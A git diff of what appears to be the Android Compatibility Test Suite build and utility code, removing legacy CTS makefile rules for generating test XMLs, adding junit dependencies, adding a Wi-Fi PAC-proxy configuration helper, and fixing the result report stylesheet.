-$(cts_module_test_config): $(LOCAL_CTS_MODULE_CONFIG) | $(ACP)
-	$(call copy-file-to-target)
-endif
-# clear var
-LOCAL_CTS_MODULE_CONFIG :=
diff --git a/build/support_package.mk b/build/support_package.mk
index 16a254e..e25ba8a 100644
--- a/build/support_package.mk
+++ b/build/support_package.mk
@@ -13,7 +13,7 @@
 # limitations under the License.
 
 #
-# Builds a package which is needed by a test package and copies it to CTS
+# Builds a package with dex preopt and proguard disabled
 #
 # Replace "include $(BUILD_PACKAGE)" with "include $(BUILD_CTS_SUPPORT_PACKAGE)"
 #
@@ -24,13 +24,3 @@
 
 include $(BUILD_PACKAGE)
 
-cts_support_apks :=
-$(foreach fp, $(ALL_MODULES.$(LOCAL_PACKAGE_NAME).BUILT_INSTALLED),\
-  $(eval pair := $(subst :,$(space),$(fp)))\
-  $(eval built := $(word 1,$(pair)))\
-  $(eval installed := $(CTS_TESTCASES_OUT)/$(notdir $(word 2,$(pair))))\
-  $(eval $(call copy-one-file, $(built), $(installed)))\
-  $(eval cts_support_apks += $(installed)))
-
-# Have the module name depend on the cts files; so the cts files get generated when you run mm/mmm/mma/mmma.
-$(my_register_name) : $(cts_support_apks)
diff --git a/build/test_deqp_package.mk b/build/test_deqp_package.mk
deleted file mode 100644
index f98f342..0000000
--- a/build/test_deqp_package.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-#
-# Builds dEQP test description XMLs needed by CTS.
-#
-
-CTS_DEQP_CONFIG_PATH := $(call my-dir)
-
-cts_library_xml := $(CTS_TESTCASES_OUT)/com.drawelements.deqp.$(DEQP_API).xml
-$(cts_library_xml): MUSTPASS_XML_FILE := external/deqp/android/cts/master/com.drawelements.deqp.$(DEQP_API).xml
-$(cts_library_xml): PRIVATE_TEST_NAME := $(DEQP_TEST_NAME)
-$(cts_library_xml): PRIVATE_TEST_PACKAGE := com.drawelements.deqp.$(DEQP_API)
-$(cts_library_xml): PRIVATE_DUMMY_CASELIST := $(CTS_DEQP_CONFIG_PATH)/deqp_dummy_test_list
-$(cts_library_xml): external/deqp/android/cts/master/com.drawelements.deqp.$(DEQP_API).xml external/deqp/android/cts/mnc/$(DEQP_API)-master.txt $(CTS_EXPECTATIONS) $(CTS_UNSUPPORTED_ABIS) $(CTS_XML_GENERATOR)
-	$(hide) echo Generating test description for $(PRIVATE_TEST_NAME)
-	$(hide) mkdir -p $(CTS_TESTCASES_OUT)
-
-# Query build ABIs by routing a dummy test list through xml generator and parse result. Use sed to insert the ABI string into the XML files.
-	$(hide) SUPPORTED_ABI_ATTR=`$(CTS_XML_GENERATOR) -t dummyTest \
-									-n dummyName \
-									-p invalid.dummy \
-									-e $(CTS_EXPECTATIONS) \
-									-b $(CTS_UNSUPPORTED_ABIS) \
-									-a $(CTS_TARGET_ARCH) \
-									< $(PRIVATE_DUMMY_CASELIST) \
-									| grep --only-matching -e " abis=\"[^\"]*\""` && \
-			$(SED_EXTENDED) -e "s:^(\s*)<Test ((.[^/]|[^/])*)(/?)>$$:\1<Test \2 $${SUPPORTED_ABI_ATTR}\4>:" \
-				< $(MUSTPASS_XML_FILE) \
-				> $@
diff --git a/build/test_executable.mk b/build/test_executable.mk
index 979f59e..1ff9a51 100644
--- a/build/test_executable.mk
+++ b/build/test_executable.mk
@@ -13,45 +13,9 @@
 # limitations under the License.
 
 #
-# Builds an executable and defines a rule to generate the associated test
-# package XML needed by CTS.
+# Builds an executable:
 #
-# 1. Replace "include $(BUILD_EXECUTABLE)"
-#    with "include $(BUILD_CTS_EXECUTABLE)"
-#
-# 2. Define LOCAL_CTS_TEST_PACKAGE to group the tests under a package
-#    as needed by CTS.
+# Replace "include $(BUILD_EXECUTABLE)" with "include $(BUILD_CTS_EXECUTABLE)"
 #
 
-LOCAL_CXX_STL := libc++
 include $(BUILD_EXECUTABLE)
-include $(BUILD_CTS_MODULE_TEST_CONFIG)
-
-cts_executable_bin :=
-$(foreach fp, $(ALL_MODULES.$(LOCAL_MODULE).BUILT) $(ALL_MODULES.$(LOCAL_MODULE)$(TARGET_2ND_ARCH_MODULE_SUFFIX).BUILT),\
-  $(eval installed := $(CTS_TESTCASES_OUT)/$(notdir $(fp)))\
-  $(eval $(call copy-one-file, $(fp), $(installed)))\
-  $(eval cts_executable_bin += $(installed)))
-
-cts_executable_xml := $(CTS_TESTCASES_OUT)/$(LOCAL_MODULE).xml
-$(cts_executable_xml): PRIVATE_TEST_PACKAGE := $(LOCAL_CTS_TEST_PACKAGE)
-$(cts_executable_xml): PRIVATE_EXECUTABLE := $(LOCAL_MODULE)
-$(cts_executable_xml): PRIVATE_LIST_EXECUTABLE := $(HOST_OUT_EXECUTABLES)/$(LOCAL_MODULE)_list
-$(cts_executable_xml): $(HOST_OUT_EXECUTABLES)/$(LOCAL_MODULE)_list
-$(cts_executable_xml): $(cts_executable_bin)
-$(cts_executable_xml): $(cts_module_test_config)
-$(cts_executable_xml): $(addprefix $(LOCAL_PATH)/,$(LOCAL_SRC_FILES)) $(CTS_EXPECTATIONS) $(CTS_UNSUPPORTED_ABIS) $(CTS_NATIVE_TEST_SCANNER) $(CTS_XML_GENERATOR)
-	$(hide) echo Generating test description for native package $(PRIVATE_TEST_PACKAGE)
-	$(hide) mkdir -p $(CTS_TESTCASES_OUT)
-	$(hide) $(PRIVATE_LIST_EXECUTABLE) --gtest_list_tests | \
-			$(CTS_NATIVE_TEST_SCANNER) -t $(PRIVATE_TEST_PACKAGE) | \
-			$(CTS_XML_GENERATOR) -t native \
-						-n $(PRIVATE_EXECUTABLE) \
-						-p $(PRIVATE_TEST_PACKAGE) \
-						-e $(CTS_EXPECTATIONS) \
-						-b $(CTS_UNSUPPORTED_ABIS) \
-						-a $(CTS_TARGET_ARCH) \
-						-o $@
-
-# Have the module name depend on the cts files; so the cts files get generated when you run mm/mmm/mma/mmma.
-$(my_register_name) : $(cts_executable_bin) $(cts_executable_xml) $(cts_module_test_config)
diff --git a/build/test_gtest_package.mk b/build/test_gtest_package.mk
deleted file mode 100644
index 6f71830..0000000
--- a/build/test_gtest_package.mk
+++ /dev/null
@@ -1,53 +0,0 @@
-# Copyright 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-#
-# Builds a package and defines a rule to generate the associated test
-# package XML needed by CTS.
-#
-# Replace "include $(BUILD_PACKAGE)" with "include $(BUILD_CTS_GTEST_PACKAGE)"
-#
-
-# Disable by default so "m cts" will work in emulator builds
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-include $(BUILD_CTS_MODULE_TEST_CONFIG)
-
-cts_package_xml := $(CTS_TESTCASES_OUT)/$(LOCAL_PACKAGE_NAME).xml
-$(cts_package_xml): PRIVATE_PATH := $(LOCAL_PATH)
-$(cts_package_xml): PRIVATE_TEST_PACKAGE := android.$(notdir $(LOCAL_PATH))
-$(cts_package_xml): PRIVATE_EXECUTABLE := $(LOCAL_MODULE)
-$(cts_package_xml): PRIVATE_MANIFEST := $(LOCAL_PATH)/AndroidManifest.xml
-$(cts_package_xml): PRIVATE_TEST_LIST := $(LOCAL_PATH)/$(LOCAL_MODULE)_list.txt
-$(cts_package_xml): $(LOCAL_PATH)/$(LOCAL_MODULE)_list.txt
-$(cts_package_xml): $(cts_support_apks)
-$(cts_package_xml): $(cts_module_test_config)
-$(cts_package_xml): $(addprefix $(LOCAL_PATH)/,$(LOCAL_SRC_FILES))  $(CTS_NATIVE_TEST_SCANNER) $(CTS_XML_GENERATOR)
-	$(hide) echo Generating test description for wrapped native package $(PRIVATE_EXECUTABLE)
-	$(hide) mkdir -p $(CTS_TESTCASES_OUT)
-	$(hide) cat $(PRIVATE_TEST_LIST) | \
-			$(CTS_NATIVE_TEST_SCANNER) -t $(PRIVATE_TEST_PACKAGE) | \
-			$(CTS_XML_GENERATOR) -t wrappednative \
-						-m $(PRIVATE_MANIFEST) \
-						-n $(PRIVATE_EXECUTABLE) \
-						-p $(PRIVATE_TEST_PACKAGE) \
-						-e $(CTS_EXPECTATIONS) \
-						-b $(CTS_UNSUPPORTED_ABIS) \
-						-a $(CTS_TARGET_ARCH) \
-						-o $@
-
-# Have the module name depend on the cts files; so the cts files get generated when you run mm/mmm/mma/mmma.
-$(my_register_name) : $(cts_package_xml) $(cts_module_test_config)
diff --git a/build/test_host_java_library.mk b/build/test_host_java_library.mk
deleted file mode 100644
index 7fdefb5..0000000
--- a/build/test_host_java_library.mk
+++ /dev/null
@@ -1,53 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-#
-# Builds a host library and defines a rule to generate the associated test
-# package XML needed by CTS.
-#
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-include $(BUILD_CTS_MODULE_TEST_CONFIG)
-
-cts_library_jar := $(CTS_TESTCASES_OUT)/$(LOCAL_MODULE).jar
-$(cts_library_jar): $(LOCAL_BUILT_MODULE)
-	$(copy-file-to-target)
-
-cts_src_dirs := $(LOCAL_PATH)/src
-cts_src_dirs += $(sort $(dir $(LOCAL_GENERATED_SOURCES)))
-cts_src_dirs := $(addprefix -s , $(cts_src_dirs))
-
-cts_library_xml := $(CTS_TESTCASES_OUT)/$(LOCAL_MODULE).xml
-$(cts_library_xml): PRIVATE_SRC_DIRS := $(cts_src_dirs)
-$(cts_library_xml): PRIVATE_TEST_PACKAGE := $(LOCAL_CTS_TEST_PACKAGE)
-$(cts_library_xml): PRIVATE_LIBRARY := $(LOCAL_MODULE)
-$(cts_library_xml): PRIVATE_JAR_PATH := $(LOCAL_MODULE).jar
-$(cts_library_xml): $(cts_library_jar)
-$(cts_library_xml): $(cts_module_test_config)
-$(cts_library_xml): $(CTS_EXPECTATIONS) $(CTS_UNSUPPORTED_ABIS) $(CTS_JAVA_TEST_SCANNER_DOCLET) $(CTS_JAVA_TEST_SCANNER) $(CTS_XML_GENERATOR)
-	$(hide) echo Generating test description for host library $(PRIVATE_LIBRARY)
-	$(hide) mkdir -p $(CTS_TESTCASES_OUT)
-	$(hide) $(CTS_JAVA_TEST_SCANNER) $(PRIVATE_SRC_DIRS) \
-						-d $(CTS_JAVA_TEST_SCANNER_DOCLET) | \
-			$(CTS_XML_GENERATOR) -t hostSideOnly \
-						-j $(PRIVATE_JAR_PATH) \
-						-n $(PRIVATE_LIBRARY) \
-						-p $(PRIVATE_TEST_PACKAGE) \
-						-e $(CTS_EXPECTATIONS) \
-						-b $(CTS_UNSUPPORTED_ABIS) \
-						-a $(CTS_TARGET_ARCH) \
-						-o $@
-
-# Have the module name depend on the cts files; so the cts files get generated when you run mm/mmm/mma/mmma.
-$(my_register_name) : $(cts_library_jar) $(cts_library_xml) $(cts_module_test_config)
diff --git a/build/test_package.mk b/build/test_package.mk
index 690e2e9..3cec0af 100644
--- a/build/test_package.mk
+++ b/build/test_package.mk
@@ -13,53 +13,12 @@
 # limitations under the License.
 
 #
-# Builds a package and defines a rule to generate the associated test
-# package XML needed by CTS.
+# Builds a package.
 #
 # Replace "include $(BUILD_PACKAGE)" with "include $(BUILD_CTS_PACKAGE)"
 #
 
-# Disable by default so "m cts" will work in emulator builds
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_STATIC_JAVA_LIBRARIES += platform-test-annotations
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
-include $(BUILD_CTS_MODULE_TEST_CONFIG)
 
-cts_src_dirs := $(LOCAL_PATH)
-cts_src_dirs += $(sort $(dir $(LOCAL_GENERATED_SOURCES)))
-cts_src_dirs := $(addprefix -s , $(cts_src_dirs))
-
-cts_package_xml := $(CTS_TESTCASES_OUT)/$(LOCAL_PACKAGE_NAME).xml
-$(cts_package_xml): PRIVATE_SRC_DIRS := $(cts_src_dirs)
-$(cts_package_xml): PRIVATE_INSTRUMENTATION := $(LOCAL_INSTRUMENTATION_FOR)
-$(cts_package_xml): PRIVATE_PACKAGE := $(LOCAL_PACKAGE_NAME)
-ifneq ($(filter cts/suite/cts/%, $(LOCAL_PATH)),)
-PRIVATE_CTS_TEST_PACKAGE_NAME_ := com.android.cts.$(notdir $(LOCAL_PATH))
-else
-PRIVATE_CTS_TEST_PACKAGE_NAME_ := android.$(notdir $(LOCAL_PATH))
-endif
-$(cts_package_xml): PRIVATE_TEST_PACKAGE := $(PRIVATE_CTS_TEST_PACKAGE_NAME_)
-$(cts_package_xml): PRIVATE_MANIFEST := $(LOCAL_PATH)/AndroidManifest.xml
-$(cts_package_xml): PRIVATE_TEST_TYPE := $(if $(LOCAL_CTS_TEST_RUNNER),$(LOCAL_CTS_TEST_RUNNER),'')
-$(cts_package_xml): $(cts_support_apks)
-$(cts_package_xml): $(cts_module_test_config)
-$(cts_package_xml): $(CTS_EXPECTATIONS) $(CTS_UNSUPPORTED_ABIS) $(CTS_JAVA_TEST_SCANNER_DOCLET) $(CTS_JAVA_TEST_SCANNER) $(CTS_XML_GENERATOR)
-	$(hide) echo Generating test description for java package $(PRIVATE_PACKAGE)
-	$(hide) mkdir -p $(CTS_TESTCASES_OUT)
-	$(hide) $(CTS_JAVA_TEST_SCANNER) \
-						$(PRIVATE_SRC_DIRS) \
-						-d $(CTS_JAVA_TEST_SCANNER_DOCLET) | \
-			$(CTS_XML_GENERATOR) \
-						-t $(PRIVATE_TEST_TYPE) \
-						-m $(PRIVATE_MANIFEST) \
-						-i "$(PRIVATE_INSTRUMENTATION)" \
-						-n $(PRIVATE_PACKAGE) \
-						-p $(PRIVATE_TEST_PACKAGE) \
-						-e $(CTS_EXPECTATIONS) \
-						-b $(CTS_UNSUPPORTED_ABIS) \
-						-a $(CTS_TARGET_ARCH) \
-						-o $@
-# Have the module name depend on the cts files; so the cts files get generated when you run mm/mmm/mma/mmma.
-$(my_register_name) : $(cts_package_xml) $(cts_module_test_config)
diff --git a/build/test_target_java_library.mk b/build/test_target_java_library.mk
index c2a93d4..eb11ef7 100644
--- a/build/test_target_java_library.mk
+++ b/build/test_target_java_library.mk
@@ -13,42 +13,12 @@
 # limitations under the License.
 
 #
-# Builds a host library and defines a rule to generate the associated test
-# package XML needed by CTS.
+# Builds a Java library.
 #
+
 # Disable by default so "m cts" will work in emulator builds
 LOCAL_DEX_PREOPT := false
 LOCAL_STATIC_JAVA_LIBRARIES += platform-test-annotations
+
 include $(BUILD_JAVA_LIBRARY)
-include $(BUILD_CTS_MODULE_TEST_CONFIG)
 
-cts_library_jar := $(CTS_TESTCASES_OUT)/$(LOCAL_MODULE).jar
-$(cts_library_jar): $(LOCAL_BUILT_MODULE)
-	$(copy-file-to-target)
-
-cts_library_xml := $(CTS_TESTCASES_OUT)/$(LOCAL_MODULE).xml
-$(cts_library_xml): $(cts_library_jar)
-$(cts_library_xml): PRIVATE_PATH := $(LOCAL_PATH)/src
-$(cts_library_xml): PRIVATE_TEST_PACKAGE := $(LOCAL_CTS_TEST_PACKAGE)
-$(cts_library_xml): PRIVATE_LIBRARY := $(LOCAL_MODULE)
-$(cts_library_xml): PRIVATE_JAR_PATH := $(LOCAL_MODULE).jar
-$(cts_library_xml): PRIVATE_RUNTIME_ARGS := $(LOCAL_CTS_TARGET_RUNTIME_ARGS)
-$(cts_library_xml): $(cts_library_jar)
-$(cts_library_xml): $(cts_module_test_config)
-$(cts_library_xml): $(CTS_EXPECTATIONS) $(CTS_UNSUPPORTED_ABIS) $(CTS_JAVA_TEST_SCANNER_DOCLET) $(CTS_JAVA_TEST_SCANNER) $(CTS_XML_GENERATOR)
-	$(hide) echo Generating test description for target library $(PRIVATE_LIBRARY)
-	$(hide) mkdir -p $(CTS_TESTCASES_OUT)
-	$(hide) $(CTS_JAVA_TEST_SCANNER) -s $(PRIVATE_PATH) \
-						-d $(CTS_JAVA_TEST_SCANNER_DOCLET) | \
-			$(CTS_XML_GENERATOR) -t jUnitDeviceTest \
-						-j $(PRIVATE_JAR_PATH) \
-						-n $(PRIVATE_LIBRARY) \
-						-p $(PRIVATE_TEST_PACKAGE) \
-						-e $(CTS_EXPECTATIONS) \
-						-b $(CTS_UNSUPPORTED_ABIS) \
-						-a $(CTS_TARGET_ARCH) \
-						-x "runtimeArgs->$(PRIVATE_RUNTIME_ARGS)" \
-						-o $@
-
-# Have the module name depend on the cts files; so the cts files get generated when you run mm/mmm/mma/mmma.
-$(my_register_name) : $(cts_library_jar) $(cts_library_xml) $(cts_module_test_config)
diff --git a/build/test_target_testng_package.mk b/build/test_target_testng_package.mk
deleted file mode 100644
index d038917..0000000
--- a/build/test_target_testng_package.mk
+++ /dev/null
@@ -1,54 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-#
-# Builds a host library and defines a rule to generate the associated test
-# package XML needed by CTS.
-#
-# Disable by default so "m cts" will work in emulator builds
-LOCAL_DEX_PREOPT := false
-LOCAL_STATIC_JAVA_LIBRARIES += platform-test-annotations
-include $(BUILD_JAVA_LIBRARY)
-include $(BUILD_CTS_MODULE_TEST_CONFIG)
-
-cts_library_jar := $(CTS_TESTCASES_OUT)/$(LOCAL_MODULE).jar
-$(cts_library_jar): $(LOCAL_BUILT_MODULE)
-	$(copy-file-to-target)
-
-CTS_DEQP_CONFIG_PATH := $(call my-dir)
-
-cts_library_xml := $(CTS_TESTCASES_OUT)/$(LOCAL_MODULE).xml
-$(cts_library_xml): MUSTPASS_XML_FILE := $(LOCAL_CTS_TESTCASE_XML_INPUT)
-$(cts_library_xml): PRIVATE_DUMMY_CASELIST := $(CTS_DEQP_CONFIG_PATH)/deqp_dummy_test_list
-$(cts_library_xml): $(cts_library_jar)
-$(cts_library_xml): $(cts_module_test_config)
-$(cts_library_xml): $(CTS_EXPECTATIONS) $(CTS_UNSUPPORTED_ABIS) $(CTS_XML_GENERATOR) $(CTS_TESTCASE_XML_INPUT)
-	$(hide) echo Generating test description for target testng package $(PRIVATE_LIBRARY)
-	$(hide) mkdir -p $(CTS_TESTCASES_OUT)
-
-# Query build ABIs by routing a dummy test list through xml generator and parse result. Use sed to insert the ABI string into the XML files.
-	$(hide) SUPPORTED_ABI_ATTR=`$(CTS_XML_GENERATOR) -t dummyTest \
-									-n dummyName \
-									-p invalid.dummy \
-									-e $(CTS_EXPECTATIONS) \
-									-b $(CTS_UNSUPPORTED_ABIS) \
-									-a $(CTS_TARGET_ARCH) \
-									< $(PRIVATE_DUMMY_CASELIST) \
-									| grep --only-matching -e " abis=\"[^\"]*\""` && \
-			$(SED_EXTENDED) -e "s:^(\s*)<Test ((.[^/]|[^/])*)(/?)>$$:\1<Test \2 $${SUPPORTED_ABI_ATTR}\4>:" \
-				< $(MUSTPASS_XML_FILE) \
-				> $@
-
-# Have the module name depend on the cts files; so the cts files get generated when you run mm/mmm/mma/mmma.
-$(my_register_name) : $(cts_library_jar) $(cts_library_xml) $(cts_module_test_config)
diff --git a/common/device-side/device-info/Android.mk b/common/device-side/device-info/Android.mk
index 1fde079..bf6e122 100644
--- a/common/device-side/device-info/Android.mk
+++ b/common/device-side/device-info/Android.mk
@@ -20,7 +20,11 @@
 
 LOCAL_MODULE_TAGS := optional
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+    android-support-test \
+    junit \
+    legacy-android-test
 
 LOCAL_MODULE := compatibility-device-info
 
diff --git a/common/device-side/device-info/tests/Android.mk b/common/device-side/device-info/tests/Android.mk
index a8d9e038..d40614c 100644
--- a/common/device-side/device-info/tests/Android.mk
+++ b/common/device-side/device-info/tests/Android.mk
@@ -18,7 +18,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-info
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-info junit legacy-android-test
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
diff --git a/common/device-side/util/Android.mk b/common/device-side/util/Android.mk
index 8eb125c..c51acef 100644
--- a/common/device-side/util/Android.mk
+++ b/common/device-side/util/Android.mk
@@ -18,7 +18,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-common-util-devicesidelib
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-common-util-devicesidelib android-support-test
 
 LOCAL_MODULE_TAGS := optional
 
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/WifiConfigCreator.java b/common/device-side/util/src/com/android/compatibility/common/util/WifiConfigCreator.java
index ac30fe1..19d843b 100755
--- a/common/device-side/util/src/com/android/compatibility/common/util/WifiConfigCreator.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/WifiConfigCreator.java
@@ -16,21 +16,23 @@
 
 package com.android.compatibility.common.util;
 
+import static android.net.wifi.WifiManager.EXTRA_WIFI_STATE;
+import static android.net.wifi.WifiManager.WIFI_STATE_ENABLED;
+
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.net.ProxyInfo;
+import android.net.Uri;
 import android.net.wifi.WifiConfiguration;
 import android.net.wifi.WifiManager;
 import android.text.TextUtils;
 import android.util.Log;
 
+import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
-import java.util.List;
-
-import static android.net.wifi.WifiManager.EXTRA_WIFI_STATE;
-import static android.net.wifi.WifiManager.WIFI_STATE_ENABLED;
 
 /**
  * A simple activity to create and manage wifi configurations.
@@ -84,6 +86,49 @@
     }
 
     /**
+     * Adds a new wifiConfiguration with OPEN security type, and the given pacProxy
+     * verifies that the proxy is added by getting the configuration back, and checking it.
+     * @return returns the PAC proxy URL after adding the network and getting it from WifiManager
+     * @throws IllegalStateException if any of the WifiManager operations fail
+     */
+    public String addHttpProxyNetworkVerifyAndRemove(String ssid, String pacProxyUrl)
+            throws IllegalStateException {
+        String retrievedPacProxyUrl = null;
+        int netId = -1;
+        try {
+            WifiConfiguration conf = createConfig(ssid, false, SECURITY_TYPE_NONE, null);
+            if (pacProxyUrl != null) {
+                conf.setHttpProxy(ProxyInfo.buildPacProxy(Uri.parse(pacProxyUrl)));
+            }
+            netId = mWifiManager.addNetwork(conf);
+            if (netId == -1) {
+                throw new IllegalStateException("Failed to addNetwork: " + ssid);
+            }
+            for (final WifiConfiguration w : mWifiManager.getConfiguredNetworks()) {
+                if (w.SSID.equals(ssid)) {
+                    conf = w;
+                    break;
+                }
+            }
+            if (conf == null) {
+                throw new IllegalStateException("Failed to get WifiConfiguration for: " + ssid);
+            }
+            Uri pacProxyFileUri = null;
+            ProxyInfo httpProxy = conf.getHttpProxy();
+            if (httpProxy != null) pacProxyFileUri = httpProxy.getPacFileUrl();
+            if (pacProxyFileUri != null) {
+                retrievedPacProxyUrl = conf.getHttpProxy().getPacFileUrl().toString();
+            }
+            if (!mWifiManager.removeNetwork(netId)) {
+                throw new IllegalStateException("Failed to remove WifiConfiguration: " + ssid);
+            }
+        } finally {
+            mWifiManager.removeNetwork(netId);
+        }
+        return retrievedPacProxyUrl;
+    }
+
+    /**
      * Updates a new WiFi network.
      * @return network id (may differ from original) or -1 in case of error
      */
diff --git a/common/device-side/util/tests/Android.mk b/common/device-side/util/tests/Android.mk
index fa7424d..12baeb7 100644
--- a/common/device-side/util/tests/Android.mk
+++ b/common/device-side/util/tests/Android.mk
@@ -18,7 +18,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util junit
 
 LOCAL_MODULE_TAGS := optional
 
diff --git a/common/host-side/manifest-generator/tests/Android.mk b/common/host-side/manifest-generator/tests/Android.mk
index 2eb5d2f..1601fc8 100644
--- a/common/host-side/manifest-generator/tests/Android.mk
+++ b/common/host-side/manifest-generator/tests/Android.mk
@@ -18,7 +18,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := compatibility-manifest-generator junit
+LOCAL_JAVA_LIBRARIES := compatibility-manifest-generator junit-host
 
 LOCAL_MODULE := compatibility-manifest-generator-tests
 
diff --git a/common/host-side/tradefed/res/report/compatibility_result.xsl b/common/host-side/tradefed/res/report/compatibility_result.xsl
index ba4b355..870f994 100644
--- a/common/host-side/tradefed/res/report/compatibility_result.xsl
+++ b/common/host-side/tradefed/res/report/compatibility_result.xsl
@@ -155,7 +155,7 @@
                 </div>
 
                 <xsl:call-template name="filteredResultTestReport">
-                    <xsl:with-param name="header" select="'Failured Tests'" />
+                    <xsl:with-param name="header" select="'Failed Tests'" />
                     <xsl:with-param name="resultFilter" select="'fail'" />
                 </xsl:call-template>
 
@@ -179,12 +179,14 @@
             <h2 align="center"><xsl:value-of select="$header" /> (<xsl:value-of select="$numMatching"/>)</h2>
             <xsl:call-template name="detailedTestReport">
                 <xsl:with-param name="resultFilter" select="$resultFilter"/>
+                <xsl:with-param name="fullStackTrace" select="true()"/>
             </xsl:call-template>
         </xsl:if>
     </xsl:template>
 
     <xsl:template name="detailedTestReport">
         <xsl:param name="resultFilter" />
+        <xsl:param name="fullStackTrace" />
         <div>
             <xsl:for-each select="Result/Module">
                 <xsl:if test="$resultFilter=''
@@ -230,7 +232,14 @@
                                             </td>
                                             <td class="failuredetails">
                                                 <div class="details">
-                                                    <xsl:value-of select="Failure/@message"/>
+                                                    <xsl:choose>
+                                                        <xsl:when test="$fullStackTrace=true()">
+                                                            <xsl:value-of select="Failure/StackTrace" />
+                                                        </xsl:when>
+                                                        <xsl:otherwise>
+                                                            <xsl:value-of select="Failure/@message"/>
+                                                        </xsl:otherwise>
+                                                    </xsl:choose>
                                                 </div>
                                             </td>
                                         </xsl:if>
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
index acdaa0a..73f8638 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
@@ -15,7 +15,6 @@
  */
 package com.android.compatibility.common.tradefed.build;
 
-import com.android.compatibility.common.util.DynamicConfigHostSide;
 import com.android.compatibility.SuiteInfo;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.build.IFolderBuildInfo;
@@ -44,6 +43,7 @@
     private static final String SUITE_VERSION = "SUITE_VERSION";
     private static final String SUITE_PLAN = "SUITE_PLAN";
     private static final String RESULT_DIR = "RESULT_DIR";
+    private static final String CONFIG_PATH_PREFIX = "DYNAMIC_CONFIG_FILE:";
     private static final String DYNAMIC_CONFIG_OVERRIDE_URL = "DYNAMIC_CONFIG_OVERRIDE_URL";
     private static final String COMMAND_LINE_ARGS = "command_line_args";
     private static final String RETRY_COMMAND_LINE_ARGS = "retry_command_line_args";
@@ -155,8 +155,7 @@
     }
 
     public void addDynamicConfigFile(String moduleName, File configFile) {
-        mBuildInfo.addBuildAttribute(DynamicConfigHostSide.CONFIG_PATH_PREFIX + moduleName,
-                configFile.getAbsolutePath());
+        mBuildInfo.addBuildAttribute(CONFIG_PATH_PREFIX + moduleName, configFile.getAbsolutePath());
     }
 
     public void setModuleIds(String[] moduleIds) {
@@ -166,8 +165,8 @@
     public Map<String, File> getDynamicConfigFiles() {
         Map<String, File> configMap = new HashMap<>();
         for (String key : mBuildInfo.getBuildAttributes().keySet()) {
-            if (key.startsWith(DynamicConfigHostSide.CONFIG_PATH_PREFIX)) {
-                configMap.put(key.substring(DynamicConfigHostSide.CONFIG_PATH_PREFIX.length()),
+            if (key.startsWith(CONFIG_PATH_PREFIX)) {
+                configMap.put(key.substring(CONFIG_PATH_PREFIX.length()),
                         new File(mBuildInfo.getBuildAttributes().get(key)));
             }
         }
